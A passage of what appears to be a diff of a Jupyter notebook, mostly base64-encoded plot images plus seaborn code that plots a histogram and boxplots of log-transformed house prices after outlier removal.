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\n"
+          },
+          "metadata": {}
+        }
+      ],
+      "source": [
+        "# Plot the distribution of the target variable (\"price\") after log transformation\n",
+        "# The histogram with KDE shows how the transformation reduces skewness\n",
+        "plt.figure(figsize=(10,5))\n",
+        "sns.histplot(df_copy[\"price\"], bins=30, kde=True, color=\"skyblue\", edgecolor=\"black\")\n",
+        "plt.title(\"Distribution of House Prices\")\n",
+        "plt.xlabel(\"Price\")\n",
+        "plt.ylabel(\"Frequency\")\n",
+        "plt.show()\n"
       ]
-     },
-     "metadata": {},
-     "output_type": "display_data"
-    }
-   ],
-   "source": [
-    "# Plot boxplots after outlier removal and log transformation\n",
-    "# This helps verify reduced skewness and fewer extreme values in the dataset\n",
-    "plt.figure(figsize=(15,7))\n",
-    "plt.xticks(rotation=90)\n",
-    "sns.boxplot(df_copy)\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 25,
-   "id": "fd7d568f",
-   "metadata": {},
-   "outputs": [
+    },
     {
-     "data": {
-      "image/png": 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NwY6JoQEgHlLvXQ8AAGSc1khUTy+p1/pARIUep04fWWwDnVQ1MN+jowa1VUJ8vdJvqzUCQDyk7jsfAADICC3hqJ5a3KDqlojy3A6dPrJIxV6XUt2EshxbGt90QHx+eaPqg5FkNwlABiAAAwAAPaY5FNWTi+pV5Q8r1+Ww3Q7LctJjGlJTEv/owQXql+dWSySmZ5aaqo2MBwOwawjAAABAjxXceGJRvda1RpTvdujMUcUqz0uP4Kudqc5oxoPluh02gzdrJUU5AOwaAjAAABB31f6wHl9Urw2BiIo8Tp01qkR9ctMr+GpnukueOKxQplbj5xsC+rimNdlNApDGCMAAAEBcfVkb0F+/ruuodnjW7sXqlZP6Y762Z1ihV98ekGfXX13drGUU5QDQTel5KQoAAKScLxcs0Ncq0XJHkb1fFmvRuNYaLfli17rsLViwQKnggL65dizbgrqgnlnWYCs5mmqJALAzCMAAAMAuWb+2SgPGjNPcWF8N2hh8/efhuzXrvt8qFo3G7XmampqU7KIc3xlaqNZIg5Y1hvT3JQ06a1Rx2natBJAcSX3HeOONN3Trrbdq3rx5WrNmjZ599lmddNJJdlsoFNJVV12ll19+WUuXLlVxcbGmTJmi3//+9xowYEDHMTZs2KCLL75YL774opxOp0499VTdddddKigo6Njns88+00UXXaQPPvhAffr0sftfccUVSXnNAABkknA0pmCvwbrosVlyulxyRCMqaKzWacdPtUs8zJ0zSzNuvl6trckfe+WyRTmK9NTielX6w3Zi6bN3L1aJL727WALIkgCsublZ48eP13/913/plFNO6bTN7/fro48+0tVXX233qa2t1c9+9jN997vf1Ycfftix31lnnWWDt1deecUGbeeff74uvPBCPfnkk3Z7Q0ODjj76aBu8PfDAA/r888/t85WUlNj9AADAzgtEoqryR2yXPM+A3doerF+niSMHyztgRFyfa8WihUolXpdD3xtRZMvrmwqPptjI93YrSrsKjwCSI6nvFMcee6xdtsZkvExQtal7771XBxxwgCoqKjRkyBDbJ3zmzJk2szVx4kS7zz333KPjjjtOt912m82UPfHEEwoGg3rooYfk9Xq155576pNPPtHtt99OAAYAQBeZ0uutkZgaQ1Gtb41oQ+CbroXRliY9fNl5mnbxpfKOHqJskOt26vs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